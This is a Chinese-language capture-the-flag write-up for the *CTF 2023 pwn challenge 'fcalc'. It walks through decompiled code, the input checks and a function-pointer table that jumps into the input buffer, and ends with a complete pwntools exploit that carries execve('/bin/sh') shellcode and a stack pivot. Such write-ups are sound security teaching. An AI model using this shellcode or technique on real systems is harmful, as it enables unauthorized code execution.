星ctf2023

文章发布时间:

最后更新时间:

文章总字数:
800

预计阅读时间:
4 分钟

比赛名应该是*ctf 但是由于我hexo框架不能命名为 * 所以只能叫星了

fcalc

image-20230730013704199

没有开启NX保护 第一反应就是要打shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
void *v3; // rsp
void *v4; // rsp
double *v5; // rbx
int v6; // [rsp+14h] [rbp-44h] BYREF
int i; // [rsp+18h] [rbp-40h]
int j; // [rsp+1Ch] [rbp-3Ch]
double *v9; // [rsp+20h] [rbp-38h]
void *s; // [rsp+28h] [rbp-30h]
void *buf; // [rsp+30h] [rbp-28h]
double v12; // [rsp+38h] [rbp-20h]
unsigned __int64 v13; // [rsp+40h] [rbp-18h]

v13 = __readfsqword(0x28u);
v3 = alloca(400LL);
s = (16 * ((&v6 + 3) >> 4));
v4 = alloca(64LL);
buf = s;
memset(s, 0, 0x180uLL);
memset(buf, 0, 0x30uLL);
qword_40E0 = s;
dword_4010 = 0;
sub_1384();
say();
while ( 1 )
{
v6 = read(0, buf, 0x180uLL);
if ( v6 > 47 )
v6 = 48;
for ( i = 0; i < v6 && *(buf + i) != '\n'; ++i )
{
if ( *(buf + i) <= 0x20 || *(buf + i) > 0x30 )
{
if ( *(buf + i) > 0x2F && *(buf + i) <= 0x39 )
{
if ( dword_4010 > 47 )
{
puts("ERROR");
exit(1);
}
++dword_4010;
v5 = qword_40E0;
*v5 = atof(buf + i);
qword_40E0 += 8LL;
while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 )
++i;
}
}
else // (0x20,0x30]
{
if ( dword_4010 <= 1 )
{
puts("ERROR");
exit(1);
}
v9 = s;
for ( j = 0; j <= 47; ++j )
{
v12 = fabs(*v9);
if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) )
{
printf("ERROR: %lf\n", v12);
exit(1);
}
++v9;
}
(qword_4060[*(buf + i) - 0x20])();
}
}
if ( s < qword_40E0 )
printf("Result: %lf\n", *(qword_40E0 - 8));
}
}

首先需要逆向出来和菜单交互的格式 我们需要使得dword_4010大于1 同时还要绕过这两个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 )
++i;
}
for ( j = 0; j <= 47; ++j )
{
v12 = fabs(*v9);
if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) )
{
printf("ERROR: %lf\n", v12);
exit(1);
}
++v9;
}

第一个循环 相对来说容易 只需要在对应字符后面加上超出范围的字符即可

第二个循环限制比较大 对0x48个字长的空间都进行了check

随后呢根据输入的字符 取决调用哪个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 (__fastcall *sub_1384())()
{
__int64 (__fastcall *result)(); // rax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
qword_4060[0] = printf_nop;
qword_4068 = printf_nop;
qword_4070 = printf_nop;
qword_4078 = printf_nop;
qword_4080 = printf_nop;
qword_4088 = printf_nop;
qword_4090 = printf_nop;
qword_4098 = printf_nop;
qword_40A0 = printf_nop;
qword_40A8 = printf_nop;
qword_40B0 = sub_12BB;
qword_40B8 = sub_1208 + 1;
qword_40C0 = printf_nop;
qword_40C8 = sub_1262;
qword_40D0 = printf_nop;
result = sub_1314;
qword_40D8 = sub_1314;
return result;
}

顺便在main函数的开头 还隐藏着一个buf地址

1
qword_40E0 = s;

我们通过字符’0’就可以实现call buf 这里就存在了shellcode的调用

由于我们刚才说到的check的存在 我们没办法把shellcode放到payload后面 所以需要通过把shellcode写到不会被check的前面 然后控制rsp寄存器再跳转过去

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
import pwn_pb2
io = process("./pwn")
#io = remote("47.92.7.93",8802)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("Enter your expression:")
shellcode = """
add rsp,0x10
jmp rsp
"""
payload = b'\x35\x40\x35\x40\x30\x30\x30\x30'+b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"+cyclic(0x21)+p64(0x4014000000000000)*2+asm(shellcode)+b'\x40\x40'
# gdb.attach(io,'b *$rebase(0x187a)')
# pause(0)
io.send(payload)
# pause()
io.interactive()